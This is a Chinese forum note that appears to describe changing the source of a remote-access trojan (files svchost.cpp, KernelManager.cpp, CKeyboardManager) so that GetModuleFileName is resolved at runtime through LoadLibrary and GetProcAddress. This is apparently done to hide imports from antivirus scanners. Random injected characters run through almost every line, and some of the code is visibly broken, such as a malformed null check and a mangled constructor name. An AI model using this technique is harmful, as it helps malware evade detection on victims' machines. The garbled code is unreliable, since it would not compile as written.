[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
' Q! o  h. S/ U5 D/ T+ y- ysvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
/ Y% `+ c) [, c2 P5 g) S; m2 n! i----------------------------------------1 E. n2 Y: r1 t9 I, d
DTDY.h：2 H( \' `+ U6 s7 _
+ T- L* o% Y+ H8 G
#if _MSC_VER>1000
. r4 K! c) [# E: N& E/ T1 M+ q) c$ n- V#pragma once0 Y5 _7 o& n1 X; Z' b
#endif //_MSC_VER>1000
, o# r$ }( W' `#include<windows.h>
' v, o" x8 |% H; W3 x
" `+ a% x; N- btypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);% m  e" o% ]6 ]. C
class DTDY
* @, E9 T0 u  b{) k0 `+ p& u; b+ Z8 ~9 _+ |1 L
public:& C; N7 S: ~) o& R4 H: M; y
DTDY();9 _1 f) J. v  \
virtual ~DTDY();
, a6 ^+ h. @: E, {0 v. E/ V+ Ppublic:# _1 Y. x! m) u/ _
static pGetModuleFileNameA MyGetModuleFileName;: l  R" p5 S5 m  m* S0 j, L
static BOOL FunInitiallization();) l8 ]& f/ {$ _$ x% C. O
};
, X* x6 N  Y! b* d: D5 d5 f4 E% z#endif- }0 B7 @/ x/ k" v7 Q) I
----------------------------------------
, E+ d/ }4 `) z' p0 t/ t0 F5 [# u5 g0 |5 ~: l0 w, z
DTDY.cpp:
& ~' s# u- |  {/ b  Q0 Z
! \" {: Z: G+ v+ m9 D1 Y4 @5 l# U#include "DTDY.h"
0 H5 P6 H" v- k; l: L' mpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
: g/ m6 A: n  Z8 tDTDY:TDY()# R* L9 @) y0 E0 u" U4 E% L" d; }
{
8 t5 q  q- T1 ?3 V}
) ]( Q6 Y, ^& wDTDY::~DTDY()
7 g1 B: d1 |0 A( O" M! W# g, ^{7 [( _7 f" ?9 z1 u+ |
}
" p, O2 w$ {1 @/ ?5 N$ cBOOL DTDY::FunInitiallization()
( _: K( Y+ Q& n0 m+ C{4 m! T: w% o: z4 W( g# o# e: A
HMODULE hModule=LoadLibrary("kernel32.dll");- S' L: X! Y8 z: S
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
. D/ b2 k% x) T: lif(!MyGetModuleFileName=) return FALSE;7 U3 P0 v0 r  a

5 |1 Q2 v8 q& ^: h$ R" Wreturn TRUE;# h/ n, ~, s) s# a5 n) m
}
+ r' x( ]; N# N( p, _4 l* ?----------------------------------------" C9 ?8 Z6 P6 J7 I8 y9 X
svchost.cpp:
% B# m/ d' q% A% c$ ~4 h, h: B
: a. {' V, f6 s5 J% [1 x9 e5 w#include "DTDY.h"
6 }! o) p1 T% X0 ^" ~" c
0 B# w" |1 O* X" q) A% H3 N8 o: uBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
% t+ R# Q( h0 ?' K7 w+ k  p0 q! `" P{
1 K0 T: r) D2 w9 x. B' O& r. F2 o2 xswitch(ul_reason_for_call)
  a! f6 L* {' }- g  f{. I5 C$ w3 Q5 D4 m
case DLL_PROCESS_ATTACH:
! |$ @/ o! Z1 U! Vif(!DTDY::FunInitiallization()) return FALSE;
! e5 U$ Z; \2 I" [0 w+ Y( G* T! u: j" r
break;% D, B; z. q+ J5 s% \7 I/ Y
}
* R  l/ u. K, V) `, [7 S}
; H4 L2 i: |' H$ A! @4 E% u7 t" \2 t" b8 r" b. n6 N

  |/ V  l+ M8 V3 F" c$ NGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
3 x; I$ J4 L6 n/ O# w' M9 @: H, C改写为7 b2 h! ?: ~# C: \3 n
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
7 i9 e* C5 O2 \* Q9 t, B# Z+ u4 n----------------------------------------
- a! l. _2 q, M7 Y8 ~KernelManager.cpp:
, ~! [7 Q0 f* m. I/ R# h" {0 Y. |5 s2 g7 ^, r$ D
#include "../DTDY.h"
( r. j/ z  e4 I' wGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));! v( P; @! S) d4 j! Z
改写为
. L5 s& U7 N7 a6 u; w/ a/ m4 w- yDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));$ `6 N" t5 X& b% O4 o+ r) a
----------------------------------------